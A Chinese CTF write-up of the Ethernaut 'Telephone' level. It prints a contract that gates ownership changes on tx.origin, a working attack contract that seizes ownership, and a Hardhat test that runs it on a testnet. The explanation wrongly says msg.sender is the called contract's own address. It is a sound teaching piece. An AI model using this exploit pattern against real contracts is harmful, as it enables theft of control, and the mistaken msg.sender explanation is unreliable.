Skip to content
On this page

Ethernaut CTF "Telephone" 挑战:一场关于 tx.origin 的安全教学

嘿,各位区块链安全爱好者和 CTF 玩家们!

今天,我们将深入探讨 Ethernaut 平台上的一个经典智能合约挑战——"Telephone"。这个挑战看似简单,却蕴含着一个经典的智能合约安全漏洞,完美地演示了 tx.originmsg.sender 这两个全局变量在实际应用中的细微却致命的区别。准备好了吗?让我们一起揭开这个“电话”背后的秘密!


挑战目标:夺取“电话”合约的所有权

Ethernaut 上的 "Telephone" 挑战要求我们做的很简单:声称拥有以下合约的所有权,以完成这个关卡。

通常,这意味着我们需要找到一个方法来修改合约中 owner 变量的值,使其指向我们的地址。

首先,我们来看看这个目标合约 Telephone.sol 的代码:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner; // 公开的 owner 变量

    // 构造函数:部署时将所有权赋予部署者
    constructor() {
        owner = msg.sender;
    }

    // 改变所有者的函数
    function changeOwner(address _owner) public {
        // 关键条件:如果交易发起者不等于消息发送者
        if (tx.origin != msg.sender) {
            owner = _owner; // 则将所有权修改为传入的地址
        }
    }
}

初看玄机:changeOwner 函数的条件

乍一看,这个 Telephone 合约非常简洁。它有一个 owner 变量,在部署时被初始化为部署者的地址。关键在于 changeOwner 函数:它允许任何外部地址调用,传入一个新的 _owner 地址。但最引人注目的,是那行条件判断:if (tx.origin != msg.sender)

正是这个条件,构成了挑战的核心。


深入剖析:tx.origin vs. msg.sender

要理解如何绕过这个条件,我们必须彻底弄清楚 tx.originmsg.sender 这两个全局变量的区别。

  1. tx.origin (交易发起者)

    • 它始终指向最初发起这笔交易的那个外部账户(EOA)
    • 无论这笔交易经过了多少层合约调用,tx.origin 都不会改变,它永远是链上最原始的交易发送者。
    • 可以想象成你用手机拨打了一个电话,tx.origin 就是你手机的号码。
  2. msg.sender (消息发送者)

    • 它指向直接调用当前合约的那个地址。
    • 如果是一个外部账户直接调用合约,那么 msg.sender 就是这个外部账户的地址。
    • 如果是一个合约调用另一个合约,那么在被调用的合约中,msg.sender 将是被调用的合约的地址,而不是最初发起交易的外部账户。
    • 可以想象成你打电话给一个自动语音服务,然后自动语音服务又帮你转接到了客服,对客服来说,msg.sender 是自动语音服务,而不是你。

漏洞所在

现在,我们回到 Telephone 合约的 changeOwner 函数:

solidity
if (tx.origin != msg.sender) {
    owner = _owner;
}

如果我们直接通过一个外部账户(EOA)调用 changeOwner 函数:

  • tx.origin 是 EOA 的地址。
  • msg.sender 也是 EOA 的地址(因为是 EOA 直接调用)。
  • 因此,tx.origin == msg.sender,条件不成立,owner 无法被修改。

要让这个条件 tx.origin != msg.sender 成立,我们需要一个中间合约


解决方案:部署一个攻击合约 Hack.sol

我们的目标是让一个外部账户(EOA)发起交易,但最终调用 Telephone.changeOwnermsg.sender 是一个合约,而 tx.origin 仍然是那个 EOA。

这就是 Hack.sol 登场的时候了:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack {
    // 构造函数:在部署时即刻执行攻击
    constructor(address _target) {
        // 调用目标合约的 changeOwner 函数,并将 msg.sender 传入作为新的 owner
        // 这里的 msg.sender 是部署 Hack 合约的那个外部账户(EOA)
        Telephone(_target).changeOwner(msg.sender);
    }
}

攻击流程

  1. 我们(一个外部账户 EOA)部署 Hack 合约,并传入 Telephone 合约的地址作为 _target
  2. Hack 合约的 constructor 执行时:
    • 外部账户 EOA 调用了 Hack 合约。
    • Hack 合约内部,它又调用了 Telephone 合约的 changeOwner 函数。
  3. 现在,当 Telephone.changeOwner 函数被执行时:
    • msg.senderHack 合约的地址(因为 Hack 合约是直接调用者)。
    • tx.origin 仍然是最初部署 Hack 合约的那个外部账户 EOA 的地址。
  4. 由于 Hack 合约的地址(msg.sender)和外部账户 EOA 的地址(tx.origin显然不相等,所以 if (tx.origin != msg.sender) 这个条件成立!
  5. owner = _owner; 这行代码得以执行,并且 _owner 被设置为 Hack 合约部署者的地址(即我们的 EOA 地址)。

至此,我们成功地夺取了 Telephone 合约的所有权!


验证攻击:测试脚本揭示真相

为了验证我们的攻击思路是否正确,通常会有相应的测试脚本。这里提供的 98_test_telephone.ts 就是这样的一个例子。

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Telephone, Hack } from "../typechain-types";

describe("Telephone", function () {
  describe("Telephone testnet sepolia", function () {
    it("testnet sepolia Telephone changeOwner", async function () {
      const TELEPHONE_ADDRESS = "0x..."; // Ethernaut 提供的 Telephone 合约地址
      const TELEPHONE_ABI = [/* ... */];

      const LEVEL_CURRENT = "0x..."; // Ethernaut 关卡当前的 owner 地址
      const challenger = await ethers.getNamedSigner("deployer"); // 模拟攻击者(外部账户 EOA)
      const telephoneContract = new ethers.Contract(TELEPHONE_ADDRESS, TELEPHONE_ABI, challenger);

      // 验证攻击前的 owner 是 LEVEL_CURRENT
      const owner_before = await telephoneContract.owner();
      expect(owner_before).to.be.equals(LEVEL_CURRENT);

      // 部署 Hack 合约,执行攻击
      const HackFactory = await ethers.getContractFactory("Hack");
      const hack = (await HackFactory.deploy(TELEPHONE_ADDRESS)) as Hack; // 将 Telephone 地址传入
      await hack.waitForDeployment();

      const deployer = await ethers.getNamedSigner("deployer"); // 再次获取攻击者地址
      const owner_after = await telephoneContract.owner();

      // 验证攻击后的 owner 变成了攻击者的地址
      expect(owner_after).to.be.equals(deployer.address);
    });
  });
});

这个测试脚本清晰地展示了:

  1. 在攻击前,Telephone 合约的所有者是预设的 LEVEL_CURRENT
  2. 通过部署 Hack 合约并让它调用 Telephone.changeOwner
  3. 在攻击后,Telephone 合约的所有者成功被修改为 deployer.address(即模拟攻击者的 EOA 地址)。

这完美地证实了我们的攻击方法是成功的!


安全启示与总结

"Telephone" 挑战是一个绝佳的教学案例,它告诫我们:

  • 切勿将 tx.origin 用于访问控制! tx.origin 容易受到钓鱼攻击重放攻击。恶意合约可以诱骗用户调用它,然后它再调用其他合约,从而在其他合约中利用 tx.origin 进行未经授权的操作。
  • 始终使用 msg.sender 进行权限判断。 msg.sender 指向直接调用当前函数或合约的地址,这是进行访问控制的黄金法则,因为它清晰地指示了直接负责的实体。
  • 理解交易上下文是关键。 在智能合约开发中,对 msg.sendertx.originblock.timestamp 等全局变量的深刻理解至关重要,因为它们定义了合约执行的环境和交互规则。

通过 Ethernaut 这样的 CTF 挑战,我们不仅能提升解决问题的能力,更能深入理解智能合约的内在机制和潜在的安全风险,从而编写出更健壮、更安全的去中心化应用。

希望这篇文章能帮助你更好地理解 "Telephone" 挑战以及 tx.origin 的陷阱!保持好奇,持续学习,安全前行!

Built with AiAda